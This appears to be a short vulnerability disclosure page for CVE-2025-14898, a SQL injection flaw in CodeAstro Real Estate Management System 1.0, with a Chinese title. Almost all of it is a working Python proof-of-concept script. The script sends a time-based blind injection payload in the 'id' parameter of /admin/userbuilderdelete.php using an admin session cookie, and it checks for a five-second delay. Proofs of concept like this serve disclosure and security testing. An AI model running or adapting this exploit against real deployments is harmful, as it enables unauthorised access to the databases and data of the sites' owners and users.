CVE-2025-14898 CodeAstro房产管理系统SQL注入漏洞

import requests import sys # CVE-2025-14898 SQL Injection PoC # Target: CodeAstro Real Estate Management System 1.0 # Endpoint: /admin/userbuilderdelete.php target_url = "http://target.com/admin/userbuilderdelete.php" # SQL Injection payload - Time-based blind SQL injection payload = "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a) AND '1'='1" data = { "id": payload # Vulnerable parameter } headers = { "Cookie": "admin_cookie=admin_session_id" # Requires admin authentication } try: print(f"[*] Sending malicious request to {target_url}") response = requests.post(target_url, data=data, headers=headers, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] SQL Injection confirmed! Server response delayed.") print(f"[+] Response time: {response.elapsed.total_seconds()}s") else: print("[-] No SQL injection detected") except Exception as e: print(f"[-] Error: {e}")